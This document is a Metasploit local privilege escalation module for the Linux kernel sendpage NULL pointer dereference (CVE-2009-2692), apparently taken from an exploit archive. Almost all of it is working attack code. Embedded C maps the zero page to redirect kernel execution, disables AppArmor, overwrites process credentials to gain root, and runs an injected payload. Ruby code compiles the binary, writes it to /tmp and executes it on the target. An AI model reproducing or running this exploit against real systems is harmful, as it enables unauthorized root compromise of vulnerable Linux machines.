Linux Kernel 2.4.4 <= 2.4.37.4 / 2.6.0 <= 2.6.30.4 - Sendpage Local Privilege Escalation (Metasploit)



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
    Rank = ExcellentRanking

    include Msf::Exploit::EXE
    include Msf::Post::File
    include Msf::Post::Common

    include Msf::Exploit::Local::LinuxKernel
    include Msf::Exploit::Local::Linux
    include Msf::Exploit::Local::Unix

    def initialize(info={})
        super( update_info( info, {
                'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
                'Description'   => %q{
                    AKA Wunderbar Emporium
                },
                'License'       => MSF_LICENSE,
                'Author'        =>
                    [
                        'spender',        # wunderbar_emporium.tgz
                        'rcvalle',        # sock_sendpage.c
                        'egypt'           # metasploit module
                    ],
                'Platform'      => [ 'linux' ],
                'Arch'          => [ ARCH_X86 ],
                'SessionTypes'  => [ 'shell', 'meterpreter' ],
                'References'    =>
                    [
                        [ 'CVE', '2009-2692' ],
                        [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
                        [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
                    ],
                'Targets'       =>
                    [
                        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
                        #[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
                    ],
                'DefaultTarget' => 0,
            }
            ))
    end

    def exploit
        sc = Metasm::ELF.new(@cpu)
        sc.parse %Q|
            #define DEBUGGING
            #define NULL ((void*)0)
            #ifdef __ELF__
                .section ".bss" rwx
                .section ".text" rwx
                .entrypoint
            #endif
            call main
            ;push eax
            call exit
        |

        # Set up the same include order as the bionic build system.
        # See external/source/meterpreter/source/bionic/libc/Jamfile
        cparser.lexer.include_search_path = [
            "external/source/meterpreter/source/bionic/libc/include/",
            "external/source/meterpreter/source/bionic/libc/private/",
            "external/source/meterpreter/source/bionic/libc/bionic/",
            "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
            "external/source/meterpreter/source/bionic/libc/kernel/common/",
            "external/source/meterpreter/source/bionic/libc/arch-x86/include/",
        ]

        cparser.parse(%Q|
            #define DEBUGGING
            // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
            #ifndef __extension__
            #define __extension__
            #endif
            // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
            // Doing #if on an undefined macro is fine in GCC, but a parse error in
            // metasm.
            #ifndef __STDC__
            #define __STDC__ 0
            #endif
            #include <sys/types.h>
            #include <sys/mman.h>
            #include <stdarg.h>
            #include <stdio.h>
            #include <unistd.h>
            #include <errno.h>
            /*
            OpenBSD's strcmp from string/strcmp.c in bionic
            */
            int
            strcmp(const char *s1, const char *s2)
            {
                while (*s1 == *s2++)
                    if (*s1++ == 0)
                        return (0);
                return (*(unsigned char *)s1 - *(unsigned char *)--s2);
            }
        |)

        [
            "external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
            "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
            "external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
            "external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
            # This parses without any trouble, but actually calling perror() causes
            # immediate segfaults.
            #"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

            # For some ungodly reason, NULL ends up being undefined when parsing this
            # guy, which of course causes parse errors.
            #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

        ].each do |fname|
            print_status("Parsing c file #{fname}")
            cparser.parse(File.read(fname), fname)
        end

        print_status("Unix socket.h")
        unix_socket_h(sc)
        current_task_struct_h(sc)

        case target.arch.first
        when ARCH_X86
        print_status("syscall wrappers")
            linux_x86_syscall_wrappers(sc)
            main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
    PF_BLUETOOTH,
    PF_APPLETALK,
    PF_IPX,
    PF_IRDA,
    PF_X25,
    PF_AX25,
    PF_BLUETOOTH,
    PF_PPPOX,
    DOMAINS_STOP
    };

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL) {
            printf("Unable to obtain symbol listing!\n");
            return 0;
        }
    }

    ret = 0;
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            printf(" [+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    return 0;
}


static void
change_cred(void)
{
    unsigned int *task_struct;

    task_struct = (unsigned int *)current_task_struct();

    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }

        task_struct++;
    }

    return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

    got_ring0 = 1;
    if (apparmor_enabled && *apparmor_enabled) {
        *apparmor_enabled = 0;
    }
    change_cred();
    return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
    int i = 0;
    int d;
    int in_fd, out_fd;
    char *mapped;
    char template[] = "/tmp/sendfile.XXXXXX";
    int (*func)();

    uid = getuid(), gid = getgid();

    mapped = mmap(NULL , 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
            0, 0
        );
    if (mapped == NULL) {
        printf("Mapped zero page!\n");
    } else {
        exit(1);
    }

    // jmp dword near [dword 0x8]
    mapped[0] = '\xff';
    mapped[1] = '\x25';
    *(unsigned long *)&mapped[2] = 8;
    *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

    for (i = 0; i < 16; i++) {
        printf("\\\\x%02x", (unsigned char)mapped[i]);
    }
    printf("\n");

    for (d = 0; domains[d] != DOMAINS_STOP; d++) {
        //printf("Next domain ... ");
        out_fd = socket(domains[d], SOCK_DGRAM, 0);
        if (out_fd > 0) {
            printf("Got domain[%d]\n", d);
            break;
        }
        if (out_fd < 0) {
            printf("out_fd: %d, Errno: %d\n", out_fd, errno);
            exit(1);
        }
    }
    unlink(template);
    // Couldn't get mkstemp to work, just use open(2) for now
    in_fd = open(template, O_CREAT | O_RDWR, 0777);
    printf("Opened temp file: %d\n", in_fd);
    unlink(template);
    printf("Calling ftruncate\n");
    ftruncate(in_fd, 4096);

    printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
    printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
    sendfile(out_fd, in_fd, NULL, 4096);
    printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
    printf("UID: %d GID: %d\n", getuid(), getgid());

    func = mmap(NULL, 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS,
            0, 0
        );
    mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
    // weaksauce memcpy so we don't have to #include <string.h>
    printf("Copying %d bytes of shellcode\n", shellcode_size);
    for (i = 0; i < shellcode_size; i++) {
        (char)func[i] = (char)shellcode[i];
    }
    printf("Calling shellcode: 0x%p\n", func);
    //sigtrap();
    func();

    return got_ring0;
}
^
            main.gsub!(/shellcode =/) do
                # split the payload into 16-byte chunks and dump it out as a
                # hex-escaped C string
                %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
            end
            main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
            cparser.parse(main, "main.c")

            asm = cpu.new_ccompiler(cparser, sc).compile

            sc.parse asm
        end

        sc.assemble

        begin
            if sc.kind_of? Metasm::ELF
                elf = sc.encode_string
            else
                foo = sc.encode_string
                elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
            end
        rescue
            print_error "Metasm Encoding failed: #{$!}"
            elog "Metasm Encoding failed: #{$!.class} : #{$!}"
            elog "Call stack:\n#{$!.backtrace.join("\n")}"
            return
        end

        #puts Rex::Text.to_hex_dump(foo)
        File.open("payload.bin", "wb") {|fd|
            fd.write elf
        }
        print_status "Writing exploit executable (#{elf.length} bytes)"
        cmd_exec("rm /tmp/sendpage")
        write_file("/tmp/sendpage", elf)
        output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
        output.each_line { |line| print_debug line.chomp }
        #cmd_exec("rm /tmp/sendpage")

    end

end